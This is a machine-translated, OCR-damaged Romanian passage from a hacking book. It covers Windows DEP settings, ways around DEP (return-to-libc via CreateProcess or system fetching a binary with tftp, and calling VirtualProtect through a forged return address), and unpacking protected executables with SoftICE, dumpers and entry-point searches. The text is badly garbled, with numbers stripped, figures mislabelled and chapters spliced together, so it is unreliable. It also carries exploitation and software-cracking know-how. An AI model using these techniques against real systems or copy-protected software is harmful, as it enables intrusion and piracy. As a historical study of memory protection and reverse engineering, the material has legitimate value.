Morris, dar totul fără rezultat Cu toate acestea, Microsoft a decis să facă un pas disperat și a reînviat idei vechi găsite în coșul de gunoi al istoriei și implementate fără a înțelege situația actuală Data Execution Prevention (DEP), implementat în Windows XP SP și Windows Server SP , face ca secțiunea de date, stiva și heap-ul să nu fie executabile, ceea ce (teoretic) previne injectarea shellcode și oprește o întreagă clasă de atacuri la distanță bazate pe revărsare Care este natura revoluționară a unei astfel de soluții? Până la urmă, din zilele Windows (să nu mai vorbim de standardul POSIX adoptat în ), doar secțiunea de cod are un atribut X și lipsește din toate celelalte Doar luați orice fișier ELF/PE și vedeți! Așa este, dar procesoarele x au propria părere în această privință: la nivel de pagină, procesorul acceptă doar două atribute de securitate: -a- (accesibil - pagina este disponibilă pentru citire/execuție) și -w- (inscriptibil - înregistrarea este permisă) Atributul X este prezent doar în tabelul de selecție, ceea ce înseamnă că nu putem permite/interzice selectiv executarea codului pentru pagini individuale, ci doar pentru întregul segment De aceea Windows, cu modelul său de memorie plată, este forțat să interpreteze atributul -r- ca -x- și -x- ca -r- Adică dreptul de a citi pagina dă dreptul implicit de a o executa și invers De fapt, aici nu există nici un arbitrar din partea procesorului: problema poate fi rezolvată și în cadrul unui model plat Este suficient „doar” să regrupezi segmentele și să stabilești limitele corecte (Fig ) Desigur, acest lucru necesită un efort serios din partea dezvoltatorilor de kernel - de exemplu, pentru a implementa această idee, este necesar să se utilizeze tampoane separate de prefatch pentru instrucțiuni și date (itlb / dtlb), etc Stiva de date de cod Limită de segment Orez „Emularea” biților NX/XD pe procesorul x De ce arhitectura x nu a oferit posibilitatea de a seta atributul X la nivel de pagină? O întrebare retorică Cel mai probabil, nimeni nu avea nevoie de asta la momentul proiectării lui , așa că au decis să nu complice inutil logica procesorului Dar în Itanium, acest atribut este prezent inițial, iar un bit special, cunoscut sub abrevierea XD (de la eXecute Disable - execuția este interzisă), determină dacă executarea codului este permisă pe această pagină sau nu Un bit similar este disponibil și în procesoarele AMD- (Opteron și Athlon- ), doar acolo se numește NX (de la No-eXecute - non-executable) Cineva de la companie a avut ideea „înțeleasă” să declare atributul X „tehnologie”, iar o campanie de marketing „Enhanced Virus Protection” (EVR) s-a desfășurat imediat în jurul bitului NX Site-ul companiei are o mulțime de videoclipuri colorate care arată cum AMD luptă împotriva virușilor la nivel de procesor (!) Nu este surprinzător faptul că ediția pe de biți a Windows NT se naște cu un heap și un stack neexecutabil! Microsoft tocmai a preluat atributul de securitate aruncat asupra lui și l-a integrat în sistem Aceasta este esența DEP impusă de hardware Principiile organizării memoriei virtuale și noile atribute de protecție în PDE/PTE sunt prezentate în fig și, respectiv, eXecutable - executabil Partea a V-a Săpărea codurilor practice Memorie Logic (segmentat) □ Linear (virtual) □ Fizic Orez Organizarea memoriei virtuale Orez NX-bit este un nou atribut de securitate în PDE/PTE Profitând de hype-ul AMD, Intel a introdus suportul XD-bit în procesoarele Pentium pe de biți, făcând această „tehnologie” disponibilă tuturor (nu sunt atât de mulți care doresc să treacă la AMD- doar pentru DEP) Strict vorbind, NX-bit este prezent nu numai în procesoarele „adevărate” pe de biți de la AMD, ci și în procesoarele pe de biți asamblate pe un nucleu de de biți (adică, lucrând în starea de emulare permanentă І ) - de exemplu , Sempron Tot ce trebuie să faceți este să instalați cel mai recent Pentium- și să actualizați kernelul, astfel încât Windows să poată profita de noile caracteristici hardware În acest caz, când încercați să executați codul aplicației pe heap, secțiunea de date sau stiva, este ridicată o excepție de tip status access violation (co h) și, cu excepția cazului în care programatorul și-a setat propriul handler SEH, execuția programului se va bloca cu mesajul pentru a vă proteja computerul, Windows a închis acest program (Fig ) În modul kernel, o excepție de tentative execute of noexecute memory este generată cu un cod FCh BugCheck care blochează sistemul într-un ecran albastru atunci când încearcă să execute cod într-o zonă de memorie neexecutabilă Versiunile pe de biți ale Windows protejează stiva de kernel, pool-ul paginat și pool-ul de sesiuni de execuție, în timp ce versiunile pe de biți protejează doar stiva Dacă procesorul nu acceptă biți NX/XD, atunci sistemul activează implementarea DEP impusă de software, care nici măcar nu încearcă să emuleze o stivă/heap neexecutabilă (dar ar putea!) Tehnologia pe care Microsoft o promovează este de fapt o apărare primitivă a gestionarului de excepții structurat, cunoscut anterior ca Capitolul SafeSEH Nu împiedică în niciun fel executarea codului shell, dar îngreunează utilizarea excepțiilor structurale pentru codul shell apoi ajutați-vă să vă protejați computerul, Windows a dozat acest program Marne: Windows Explorer Editor: Microsoft Corporation mesaj de închidere Data Execution Prevention ajută la protejarea împotriva daunelor cauzate de viruși și alte amenințări de securitate Orez , Reacția lui DEP la o încercare de a executa cod pe stivă Vom discuta doar despre implementarea hardware a DEP, deoarece este cel mai greu de ocolit Unii chiar cred că acest lucru este deloc imposibil: „ azi nu există nici o singură exploatare conceptuală care să demonstreze în practică posibilitatea de a învinge IVindows XP cu pachetul de service Service Rusk instalat” (http://www computerra ru /softera/ ) Dacă protecția DEP ar fi concepută ținând cont de toate nuanțele, atunci exact asta ar fi Cu toate acestea, Microsoft merge pe drumul său și, prin urmare, DEP este ușor, dar utilizatorii legali au o mulțime de probleme, despre care vom vorbi mai târziu Este incorect să numiți DEP un mecanism de apărare Înainte de „mecanismul de protecție” DEP este foarte, foarte departe - cam la fel ca o mașină de jucărie la o mașină adevărată DEP este doar suport pentru atributele de protecție a paginii, nimic mai mult! Potrivit Intel, următoarele sisteme de operare acceptă XD-bit pentru a preveni executarea neintenționată a codului în zonele de memorie neexecutabile: P Microsoft Windows* Server cu Service Pack Microsoft Windows* XP* Service Rust □ SUSE Linux* Actualizarea pentru Red Hat Enterprise Linux Notă Cu toate acestea, această măsură nu va opri hackerii deliberați și toate sistemele pot fi atacate, iar Windows este mai ușor de atacat decât Linux Configurare DEP Edițiile pe de biți ale Windows folosesc întotdeauna DEP atunci când lucrează în modul nativ și nu permit blocarea acestei protecție Dacă un dezvoltator dorește să execute cod pe stivă sau pe heap (și dezvoltatorii doresc să facă acest lucru destul de des), el trebuie să atribuie în mod explicit atribute de acces unei anumite regiuni de memorie apelând funcțiile API virtualAlloc sau virtualProtect Nu sunt necesare drepturi pentru aceasta, așa că obținem doar aspectul de securitate - protecție împotriva accesului neintenționat, dar nimic mai mult Puțin mai târziu în acest capitol (vezi secțiunea „Atacarea DEP”) vom arăta cum să-l ocolim Un set de măsuri de protecție dezvoltate de Microsoft pentru a preveni utilizarea codului shell de la Structured Exception Handler (SEH) a fost ulterior redenumit DEP aplicat de software Partea a V-a Săpărea codurilor practice Lucrurile sunt mult mai complicate cu aplicațiile pe de biți Există deja o cantitate imensă de software care tratează atributul -r- ca -x- și refuză să funcționeze dacă nu Prin urmare, pentru a menține compatibilitatea cu versiunea anterioară, Microsoft a oferit posibilitatea de a dezactiva DEP pentru edițiile pe de biți ale Windows și aplicațiile pe de biți care rulează pe versiuni de de biți de Windows Pentru a utiliza mecanismul DEP, trebuie să aveți un procesor care acceptă biți NX / XD, iar procesoarele pe de biți acceptă biți NX numai în modul Physical Address Extension (PAE) Edițiile pe de biți ale Windows recunosc automat tipul de procesor adăugând comutatorul /rae la fișierul boot ini, dacă este necesar Edițiile pe de biți nu au un nucleu PAE separat, așa că nu trebuie să adăugați cheia /rae pentru ele Cheile de fișier boot ini responsabile pentru DEP și setările pe care le specifică pentru versiunile Windows pe și de biți sunt enumerate pe scurt în Tabelul Tabelul Porniți setările fișierelor mi și regiunile de memorie protejate de execuția codului în versiunile Windows pe și de biți Tastele fișierului Bootini /execute Znoexecute Versiuni de Windows pe de biți: modul kernel DEP activat DEP dezactivat DEP activat Modul personalizat DEP dezactivat DEP activat Versiuni de Windows pe de biți: modul utilizator pe de biți DEP dezactivat DEP activat Modul kernel DEP activat Modul utilizator pe de biți DEP activat Dacă nu specificați chei suplimentare, atunci în edițiile pe de biți ale Windows, execuția codului pe stivă, în nucleu și în unele servicii de sistem la nivel de aplicație va fi interzisă Toate celelalte aplicații vor rula normal În mod implicit, versiunile pe de biți permit executarea codului pe stivă/heap doar pentru aplicațiile pe de biți și sunt interzise pentru cele pe de biți Comutatorul /execute dezactivează complet DEP pentru edițiile pe de biți ale Windows, precum și pentru aplicațiile pe de biți care rulează sub edițiile pe de biți ale Windows În același timp, aplicațiile „native” pe de biți nu sunt afectate de această cheie și rămân în continuare protejate Comutatorul /poechiebe=policy level vă permite să configurați DEP la discreția dvs , alegând nivelul de securitate necesar Parametrul policylevel poate lua una dintre următoarele valori: Alwayson, AlwaysOf f, optln și OptOut, așa cum este descris în Tabelul Tabelul Impactul nivelului politicii asupra securității Valoarea parametrului Optln (implicit) Protecția DEP este activată numai pentru un număr limitat de procese de sistem Windows și pentru nucleu Protecția OptOut DEP este activată pentru toate procesele și pentru nucleu, dar puteți crea o listă de aplicații care nu sunt protejate Protecția AlwaysOn DEP este activată pentru toate procesele și pentru nucleu Nu puteți dezactiva protecția în mod selectiv pentru aplicațiile specificate de utilizator Protecția AlwaysOff DEP este dezactivată pentru toate procesele și pentru nucleu Funcționează prin tehnologia Address Windowing Extension (AWE) Capitolul Buffer overflows pe sisteme cu o stivă neexecutabilă Orez Configurare DEP online Pe lângă editarea fișierului boot ini, puteți utiliza configuratorul interactiv pentru a configura DEP (Fig ) Configuratorul interactiv, desigur, nu este destinat hackerilor, ci utilizatorilor obișnuiți și, în plus, setul de opțiuni din dotare care pot fi configurate folosindu-l este limitat O listă de programe pentru care protecția DEP este dezactivată poate fi, de asemenea, generată prin intermediul registrului (un mod pur de hacker care economisește mult timp) Doar deschideți cheia hklm\software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers și creați un element șir NOU în ea (tip de date reg sz) Numele acestui element trebuie să fie calea completă către fișierul exe a cărui protecție dorim să o dezactivăm Setați noul element la DisableNXShowUi Probleme de compatibilitate O mulțime de aplicații au nevoie de o stivă executabilă: mecanisme de apărare, emulatori, compilatoare just-in-time etc Încercările de a face stiva neexecutabilă au fost făcute în mod repetat încă din anii și ai secolului trecut, când sistemul de operare Windows nici în proiect nu a existat Și toate aceste inovații cumva nu au prins rădăcini Acest lucru s-a întâmplat din cauza unor probleme de compatibilitate Cine are nevoie de un sistem de operare dacă nu poți rula aplicațiile tale preferate pe el? Nu Este Ieşire Sau securitate, sau compatibilitate Compromisul este imposibil Prin urmare, Microsoft a dezvoltat doar o parodie a protecției și a dezactivat-o imediat, astfel încât utilizatorii să nu aibă probleme inutile Cu toate acestea, problemele încă au apărut Încercați să căutați în baza de cunoștințe Microsoft cuvântul cheie dep pentru a vedea ce conflicte sunt găsite numai Partea a V-a Săpărea codurilor practice cu produse Microsoft Dar, din toate punctele de vedere, Microsoft a fost cel care a trebuit să asigure continuitatea și compatibilitatea corespunzătoare De exemplu: □ Computerul compatibil cu hardware (DEP) se poate opri în mod neașteptat după ce reluați starea de așteptare frontală sau din hibernare în Windows XP Service Pack : http://support microsoft com/default aspx?scid=kb;en-us; □ Primiți un mesaj de eroare „Prevenirea execuției datelor” când porniți Live Meeting http://support microsoft com/default aspx?scid=kb ;en-us; , □ Primiți mesaje de eroare când instalați Windows CE x Emulator pe un computer care rulează Windows XP Service Pack și computerul are hardware DEP ://support microsoft com/defaultaspx?scid=kb;en- noi; Cu aplicațiile terțe, lucrurile stau și mai rău Învelișurile cu cârlige și protectoarele care folosesc cod cu auto-modificare și alte trucuri anti-hack nu pot funcționa cu o stivă care nu poate fi executată Aceasta înseamnă că protecția DEP pentru ei ar trebui să fie dezactivată Unii ar putea argumenta că toate problemele provin de la stilul „greșit” de programare și de la utilizarea caracteristicilor „nedocumentate” ale sistemului (care sunt de fapt bine documentate) Cu toate acestea, problemele sunt întâlnite nu numai în rândul meșteșugarilor, ci și în rândul firmelor foarte eminente, de exemplu, Borland Mergem la „Baza de cunoștințe” (http://support borland com), introducem dep și obținem imediat o mulțime de link-uri, de exemplu: □ „Instalarea clientului nu rulează” (http://support borland com/entry !default jspa?categoryID= &externalID= &fromSearchPage=true) □ „De ce / de ce apare o eroare de memorie GPF la instalarea StarTeam pe Windows ?” (http://support borland com/entryldefault jspa?categoryID= &externalID= &fromSearchPage=true) □ „Programul de instalare a serverului StarTeam nu pornește sub Windows XP / Windows ” (http://support borland com/entry!default jspa?categoryID= &externalID= &fromSearchPage=true) Astfel, DEP este un lucru foarte conflictual, care creează o mulțime de probleme și nu protejează de nimic Microsoft a făcut o mulțime de erori grave de calcul care vă permit să pătrundeți în DEP chiar și la nivelul maxim de securitate Toate considerentele suplimentare sunt aplicabile atât edițiilor de Windows pe de biți, cât și edițiilor pe de biți și nu depind de setările sistemului Pentru a fi sigur, vom presupune că tasta /noexecute este setată pe poziția AlwaysOn Atacul asupra DEP Microsoft a confirmat posibilitatea de a ocoli DEP încă din ianuarie , când articolul lui Alexander Anisimov „Defeating Microsoft Windows XP SP Near protection and DEP bypass” a apărut pe site-ul MaxPatrol (http://www maxpatrol com/ptmshorp asp) Cu toate acestea, Microsoft nu a acordat prea multă importanță acestui lucru, afirmând că tot nu ar fi posibil să se implementeze un atac de la distanță: „Un atacator nu poate folosi această metodă singur pentru a încerca să ruleze cod rău intenționat pe sistemul unui utilizator Nu există niciun atac care să folosească acest lucru, iar clienții nu sunt în situație” (Un atacator nu poate folosi această metodă pentru a rula cod rău intenționat pe un sistem țintă Până acum, nu a fost demonstrat niciun atac folosind acest truc, iar consumatorii nu sunt expuși riscului - http:// www eweek eom/ article / , , ,OO asp) Nu este deloc așa! Mecanismul DEP este ușor de spart de la orice distanță Rezultatul atacului este un cod shell transmis și executat cu succes care execută comenzi pregătite în prealabil de către atacator Pentru a înțelege cum se face acest lucru, mai întâi trebuie să înțelegeți Capitolul cu metode clasice de overflow Aceste probleme sunt discutate în detaliu în articolul „Erorile de depășire a tamponului din exterior și din interior ca experiență generalizată a atacurilor reale” (http://www samag ru/art/ / pdf) Reamintim cititorului punctele principale: lipsa de control asupra limitelor bufferelor locale vă permite să suprascrieți adresa de retur din funcție, plasând aici un pointer către codul shell, care se află aici pe stivă Un alt tip de debordare este asociat cu grămada Cu acesta, un hacker poate modifica orice locație care poate fi scrisă în spațiul de adrese al unui proces vulnerabil De exemplu, puteți înlocui indicatorul către o funcție virtuală sau puteți falsifica adresa de retur (Fig ) Există și alte posibilități În special, un atacator poate schimba ordinea normală de alocare a heap-ului plasând următorul bloc alocat deasupra structurilor de date cheie, dar, de dragul simplității, ne vom limita la modificarea adresei de retur Stack Local buffer Adresă de retur Orez Un atac clasic de la distanță împinge un cod shell pe stivă și apoi îi transferă controlul prin modificarea adresei de retur Există multe mecanisme de protecție care controlează integritatea heap-ului și adresa de retur, dar nu fac față sarcinii lor Acesta este un subiect mare separat, care nu are nimic de-a face nici cu biții NX / XD, nici cu tehnologia DEP Se va discuta în detaliu în cărțile ulterioare, dar deocamdată ne vom restrânge la faptul că DEP nu împiedică în niciun fel modificarea adresei de retur Există multe programe care vă permit cu adevărat să faceți acest lucru (Internet Explorer, FireFox etc ) Prin manipularea adresei de retur, un hacker poate apela funcții arbitrare ale unui program vulnerabil (inclusiv funcții API ale sistemului de operare), trecând parametrii necesari prin stivă Desigur, în același timp, va fi foarte limitat în capacitățile sale, deoarece printre funcțiile gata făcute nu există atât de multe dintre cele care sunt cu adevărat utile pentru hacking Cu toate acestea, problema poate fi rezolvată apelând funcția API CreateProcess sau funcția System din biblioteca crt, rulând un program obișnuit precum tftp exe și descărcarea unui fișier binar pe computerul atacat, care poate fi executat folosind CreateProcess/System (un atacul return-to-libc) Mecanismul DEP nu împiedică în niciun fel acest scenariu, deoarece în acest caz codul shell este transferat nu prin stivă/heap, ci printr-un fișier executabil legal Stiva conține doar argumentele funcțiilor apelate și adresele de retur „false” care indică către acestea Astfel, chiar și cu DEP activat, un hacker are în continuare capacitatea de a-și arunca codul pe mașina atacată și de a transfera controlul acesteia Prezența tftp exe nu este o condiție prealabilă pentru un atac Chiar dacă este eliminat, un hacker poate apela, de exemplu, cmd exe Este suficient să redirecționezi rezultatul către un fișier și să folosești ecno pentru a crea un fișier com minuscul care face ceva „util” Iar cel mai vulnerabil program conține probabil funcții prin care poți descărca un fișier de pe Internet Într-un cuvânt, există o mulțime de posibilități! Atacurile de acest tip sunt bine studiate de hackeri și sunt descrise în literatură Numai specialiștii de la Microsoft par să nu știe nimic despre asta, altfel cum se poate explica faptul misterios că succesul acestui tip de atac nu depinde în niciun fel de activitatea DEP, iar vechile exploit-uri rămân pe deplin funcționale Răspândirea viermilor este oprită doar pentru că, împreună cu DEP, pachetul de actualizare include patch-uri pentru toate găurile cunoscute in orice caz A se vedea, de exemplu, „On the Effectiveness of AddressSpace Randomization” (http://www stanford edu/~blp/papers/asrandom pdf) Partea a V-a Sapărea practică a codurilor odată ce hackerii găsesc un alt bug de supraîncărcare (și este doar o chestiune de timp), o nouă epidemie va copleși Internetul și niciun mecanism DEP nu o va opri Unii ar putea spune că acesta nu este un atac „adevărat”, deoarece nu transmite în mod explicit shellcode pe stivă, ceea ce este proiectat pentru a face DEP! Gândit, desigur, inteligent, dar amuzant Și ce fel de hacker s-ar grăbi în ambazură dacă ținta dorită poate fi atinsă ocolind? Microsoft chiar crede că un atacator joacă după „reguli” și urmează calea celei mai mari rezistențe, urcând pe o potecă întortocheată de munte, plină de patrule, atunci când drumul mare nu este păzit de nimeni? Ca o pregătire, luați în considerare un scenariu alternativ de atac care împinge shellcode pe stivă Aruncarea codului shell în bufferul local nu este o problemă, schimbarea adresei de retur este, de asemenea Dar atunci când încercați să transferați controlul către codul shell cu DEP activ, va apărea o excepție, deoarece nu avem atributul X, deși în acest caz totul depinde de ce anume debordăm După cum am menționat mai devreme, unele aplicații (inclusiv browsere) au nevoie de o stivă executabilă în care pun codul java compilat Dar să nu ne îndulcim termenii Să presupunem că nu există pagini executabile în stiva noastră Pentru a le obține, trebuie fie să resetați bitul NX / XD (dar numai sistemul poate face acest lucru), fie să apelați funcția VirtualProtect, atribuind atribute de protecție după cum doriți! Dar cum numim VirtualProtect fără capacitatea de a executa cod shell? Da, este foarte simplu - haideți să ajustăm adresa de retur astfel încât să indice către VirtualProtect, apoi atunci când comanda retum este executată, va transfera controlul acestei funcție! Stack de stare înainte de manipulare Explicaţie butfer[ ] Restul stivei adresa ret CaisDѵegade(O) Stare stiva după manipulare Shell-ksd „Succes!;) % pentru a vizualiza titlul sau tasta pentru a vizualiza objTbl Programele normale au secțiuni numite text, cod, date, rdata, rsrc și, cel mai important, dimensiunea virtuală (virtuaisize) a secțiunii de cod coincide aproape întotdeauna cu dimensiunea fizică (physize) De exemplu, în aplicația „Notepad” inclusă în distribuția standard a Windows NT, diferența este de doar oh - CAh == h de octeți, iar secțiunea fizică datorată alinierii se dovedește a fi chiar mai lungă decât imaginea sa virtuală (Fig ) Orez Aspectul secțiunilor unui fișier necomprimat Capitolul Lupta cu ambalatorii Orez Aspectul secțiunilor unui fișier împachetat Acum haideți să împachetăm fișierul folosind APack (sau un packer similar) și să vedem ce se întâmplă (Fig ) Wow! Secțiunile aspack și adata au apărut imediat cu nume care vorbesc de la sine Cu toate acestea, numele secțiunilor pot fi schimbate - acesta nu este principalul lucru Dimensiunea secțiunii virtuale textul ( h) are de două ori dimensiunea fizică ( h) Dar asta spune deja multe! De fapt, autorul ASPack a alocat dimensiunea virtuală în avans Există pachete care compară dimensiunea virtuală cu cea fizică, alocând memoria necesară direct în timpul procesului de despachetare apelând VirtualAlloc De asemenea, puteți încerca să calculați entropia (o măsură a dezordinei sau redundanței) fișierului studiat Popularul editor hex HTE poate face acest lucru (Fig ) Cu cât valoarea entropiei este mai mare, cu atât este mai mare probabilitatea de împachetare și, în consecință, invers Cu toate acestea, această regulă nu funcționează întotdeauna Orez , Calcularea entropiei folosind editorul NTE Partea a V-a Săpărea codurilor practice Orez Utilitarul PEiD detectează automat tipul de ambalare/protector În plus, aș dori să notez utilitarul gratuit PEiD (http://peid has it/), care detectează automat cei mai populari packeri (protectori) după semnăturile lor (Fig ) și chiar încearcă să despacheteze fișierele ambalate cu lor Cu toate acestea, lucrurile nu merg bine cu despachetarea și este mai bine să folosiți dispozitive de despachetare specializate sau proprii, pe care le vom scrie în pur asamblator puțin mai târziu Despachetarea și alternativele sale Încercați să răspundeți la o întrebare care doar la prima vedere pare o prostie Aici vă străduiți, în primul rând, să despachetați programul, de multe ori fără să vă gândiți - de ce? S-ar putea argumenta că un program pachet nu poate fi dezasamblat Şi ce dacă? Dar poate fi depanat folosind tehnica clasică de hacking, descrisă în special în „Fundamentals of Hacking” Aha! Ambalatorul/protectorul nu funcționează sub depanator! Bine! Încercați să rulați SoftICE după ce programul a fost despachetat și pe ecran apare fereastra principală sau instalați patch-ul neoficial IceExt (http://stenri pisem net/), care ascunde depanatorul de majoritatea protecțiilor O serie de utilitare precum LordPE (http://www softpedia com/get/Programming/File-Editors/LordPEjshtml) vă permit să salvați un dump a unui program deja dezambalat pe disc Deși imaginea rezultată a fișierului exe rămâne adesea flagrant incorectă, este destul de potrivită pentru dezasamblare, mai ales dacă dezasamblatorul este utilizat împreună cu un depanator care ajută la „peep” valorile unor variabile în diferite etape de inițializare O da! Un program pachet nu poate fi corecţionat Adică, chiar și după ce am găsit râvnitul Jx care dezactivează protecția, nu putem modifica fișierul împachetat, deoarece, desigur, niciun jx nu va fi acolo Pentru acest caz, s-au inventat patcherii on-line, care editează programul „din zbor” direct în RAM, ocolind discul Hackerii mai avansați își scriu propriile generatoare de numere de serie/fișier de cheie pe baza informațiilor culese dintr-o descărcare neîndemânatică sau depanare live Apare o situație ambiguă: pe de o parte, este încă posibil să se evite despachetarea în majoritatea cazurilor, dar, pe de altă parte, lucrul cu un fișier despachetat este mult mai convenabil și confortabil (cel puțin pur psihologic) Prin urmare, mai trebuie să vă scrieți propriul dispozitiv de despachetare! Algoritm de despachetare Cum sunt scrise unpackers? Există moduri diferite Un hacker poate studia algoritmul packer-ului într-un depanator/dezasamblator pentru o perioadă lungă și dureroasă, apoi poate dezvolta la fel de lung și dureros un dezasamblator autonom care procesează corect fișierul executabil, ținând cont de specificul unei anumite situații Chris Kaspersky „Fundamentele hackingului” — M : Solon-R, Capitolul Și iată o altă modalitate: rulăm programul pe un procesor „în direct” (sau sub un emulator precum Bochs), într-un fel sau altul determinăm momentul finalizării despachetării și salvăm imediat imaginea memoriei pe disc, formând un executabil Fișierul PE din acesta Rezultatul este un despachetator universal, pe care îl vom scrie O mică teorie pentru a începe Caut un OEP Crearea unui dispozitiv de despachetare universal începe cu un algoritm pentru determinarea punctului de intrare original (Punctul de intrare original, OEP) Acest algoritm ar trebui să țină evidența momentului finalizării despachetului cu transferul ulterior al controlului către programul gazdă Aceasta este cea mai dificilă parte a dispozitivelor de despachetare generice, deoarece este în general imposibil să se determine punctul de intrare inițial Pentru a face acest lucru, trebuie să recurgeți la diverse trucuri Cel mai adesea, pentru aceasta se folosește trasarea pas cu pas, la care ambalatorul/protectorul poate rezista cu ușurință (și rezistă!) Următoarele inelului zero fac față sarcinii puțin mai bine Tratarea lor din stratul de aplicare (și majoritatea packerilor / protectorilor lucrează la el) este aproape imposibilă Cu toate acestea, dezvoltarea unui astfel de trasor este adesea o sarcină copleșitoare pentru începători Așadar, să încercăm să mergem pe altă direcție, limitându-ne doar la punctele de întrerupere hardware, pentru setarea cărora este complet opțional să recurgem la scrierea unui driver În prima etapă, ca principal instrument experimental, vom folosi Notepad, comprimat de diverși packer, precum și celebrul debugger SoftICE Codarea va urma mai târziu Dump program live Cea mai ușoară (și cea mai populară) modalitate de a trata ambalatori este de a elimina gunoiul după ce despachetarea este finalizată După ce a așteptat să apară fereastra principală a programului, hackerul își resetează descărcarea Uneori această metodă funcționează, alteori nu Să încercăm să ne dăm seama de ce se întâmplă asta Luați aplicația clasică Notepad din Windows NT, care nu este deloc sigură Fără a-l împacheta cu niciun dispozitiv de ambalare, să încercăm să-l aruncăm folosind unul dintre cele mai bune două basculante - Proc Dump sau Lord PE Deluxe (Fig ) încărcați în editorul PE (numai citire) Orez Eliminarea unei gropi dintr-un Notepad funcțional Partea a V-a Săpărea codurilor practice nezumi Orez , Funcționează în mod normal „Notepad” (sus) și același „Notepad” după descărcare (jos) - toate liniile de text au dispărut Procesul are succes, iar fișierul rezultat chiar rulează (Fig ), dar nu este complet funcțional Atenție - titlul ferestrei și toate etichetele de text din casetele de dialog au dispărut! Dacă nu am reușit să eliminam depozitul chiar și din Notepad, atunci nu putem face față deloc apărării reale Să încercăm să ne dăm seama de ce? Investigația arată că șirurile de text lipsă sunt stocate în secțiunea de resurse și, prin urmare, procesate de funcția Loadstring Încărcăm fișierul original notepad exe în IDA Pro și găsim o buclă care citește linii folosind funcția Loadstringw (sufixul w înseamnă că avem de-a face cu șiruri Unicode) Să aruncăm o privire mai atentă la această buclă (Listingul - ) rlispіtsg , X^^ rggymizirovanimіy ciclu de citire a resurselor șirurilor eu b VI I I I I mov mov ebp, ds:LoadStringW edi, offst off C loc : mută eax, [edi] ; etp este un pointer către Loadstringw ; Indicator către tabelul de resurse ; COD XREF: Sub EE+ ij ; Se încarcă un alt indicator ; per uID în ex Capitolul Lupta cu ambalatori h push ebx ; nBufferMax h ; (lungimea maximă a tamponului) push esi ; ipBuffer (pointer către buffer) h push dword ptr [eax] ; Transmitem uID-ul extras funcției h push [ esp+ OCh+hlns tance ] ; hlnstance Ah apel ebp ; LoadStringW Ah ; Citind rândul următor Ah ; din resursă Ch mov ecx, [edi] ; Încărcăm același uID în esx Eh inc eax ; Creșterea lungimii lecturii Eh ; linii cu Fh crrp eax, ebx ; „^Se potrivește șirul în buffer? lh mov [ecx], esi ; Salvarea unui pointer către un buffer ; peste vechiul uID ; (nu va mai fi nevoie) h h lea esi, [esi+eax* ] ; Poziția pentru următoarea linie h ; în tampon h og scurt loc B ; Dacă tamponul se epuizează, eșuează h add edi, ; Treceți la următorul uID Bh sub ebx, eax ; Reducerea spațiului liber din buffer Dh cnp edi, offst off ; ?Sfârşitul tabelului de resurse? h scurt loc ; Răsucim bucla până la capătul resurselor Analiza codului din Lista arată că Notepad ia următorul ID de rând din tabelul de resurse, încarcă rândul, îl plasează într-un buffer local și apoi salvează indicatorul de rând rezultat peste ID-ul în sine, care nu mai este necesar! Trucul clasic cu reutilizarea variabilelor eliberate, cunoscut încă de pe vremea primelor PDP-uri, dacă nu mai devreme, Notepad a fost scris de un programator competent, care se ocupă de resursele sistemului în general, și de memorie în special Pentru noi, asta, în primul rând, înseamnă că dump-ul luat din programul „live” va fi defect În loc de ID-uri de rând reale, secțiunea de resurse conține pointeri de memorie care indică „spațiu”! Prin urmare, liniile de resurse au dispărut Multe programe folosesc un construct precum Listarea : Lista „Protecție” împotriva dumpingului de programe live void *p= ; // Variabilă globală if ('p) p = malloc(BUFF SIZE); Evident, dacă salvați descărcarea programului după sfârșitul liniei if, atunci variabila globală p va conține indicatorul pe care l-a moștenit de la rularea anterioară, dar regiunea de memorie corespunzătoare nu va fi alocată și programul fie se va prăbuși, fie intră în datele altora, aranjarea acolo este o adevărată agitație! Să formulăm regula principală: poți salva un dump de program doar la punctul de intrare! Acum trebuie să vă dați seama cum să găsiți acest punct de intrare Căutați codul de pornire după semnături în memorie Programatorii începători cred că execuția programului începe cu funcția principală (în C/C++) sau procedura de început (în Pascal), dar acest lucru nu este adevărat Codul de pornire este întotdeauna apelat primul, creând manerul de excepție structural primar, inițialând RTL, apelând GetModuleHandle pentru a obține un handle pentru modulul curent și așa mai departe Același lucru este valabil și pentru DLL Partea a V-a Săpărea codurilor practice Există multe coduri de pornire diferite alese de compilator în funcție de tipul de program și de comutatoarele de compilare În special, textele sursă ale codurilor de pornire Microsoft Visual C++ sunt stocate în directorul \Microsoft Visual Studio\VC \CRT\SRC sub numele crt* * Sunt aproximativ zece în total Alte compilatoare, cum ar fi Delphi, au, de asemenea, propriul lor cod de pornire (Listing ) Lista Exemplu de cod de pornire în Delphi COD: EE începe proc aproape COD: EE push ebp COD: EE mov ebp, esp COD: EEB adăugați esp, OFFFFFFFOh COD: EEE mov eax, offset dword EB sunați la ©Sysinit@@InitExe$qqrpv COD: EF ; Sysinit:: linkproc InitExe(void COD: EF push ; COD XREF: start+Bjp COD: D C COD: D C COD: D D COD: D F COD: DA COD: DA COD: DA COD: DAD COD: DB COD: DB COD: DBC COD: DBE COD: DC COD: DC COD: DCA COD: DCF COD: DD COD: DD @Sysinit@@InitExe$qqrpv proc lângă push ebx mov ebx, eax xor eax, eax mov ds:TisIndex,eax apăsați apelați GetModuleHandleA mov ds:dword D ,eax mov eax, ds:dword D mov ds:dword— C,eax xor eax, eax mov ds:dword— ,eax xor eax, eax mov ds:dword ,eax sunați la @SysInit@ mov edx, offset unk mov eax, ebx apel sub— A ; IpModuleName ; Syslnit::— După ce am adunat o colecție impresionantă de coduri de pornire (sau împrumutându-le de la IDA Pro), putem găsi cu ușurință OEP prin simpla scanare a unui dump de program live Încărcăm fișierul dumped exe în HIEW și, sortând semnăturile tuturor codurilor de pornire unul câte unul, găsim „al nostru” Ne amintim adresa sa (în acest exemplu, este situată la offset i h) Încărcăm programul ambalat în depanator și setăm punctul hardware pentru execuție la adresa dată - bpm x Notă Implicit, depanatorul pune un punct de întrerupere de citire/scriere, care nu este același lucru Acum, ocolind dispozitivul de despachetare, depanatorul (sau dumperul nostru, pe care vom îndrăzni să-l scriem puțin mai târziu) apare direct în OEP! Este timpul să salvezi descărcarea programului! Câteva moduri populare, dar nereușite: GetModuleHandleA și gs: Biblioteca de semnături este, desigur, bună, dar prea deranjantă Noi versiuni de compilatoare sunt lansate frecvent și, în plus, dezvoltatorul de securitate ar putea modifica ușor codul de pornire, orbind căutarea semnăturilor Ce să faci atunci? Destul de des, punctele de stabilire ajută Capitolul Lupta cu ambalatorii puncte de întrerupere pe GetModuleHandleA (bpm GetModuleHandleA x) și pe 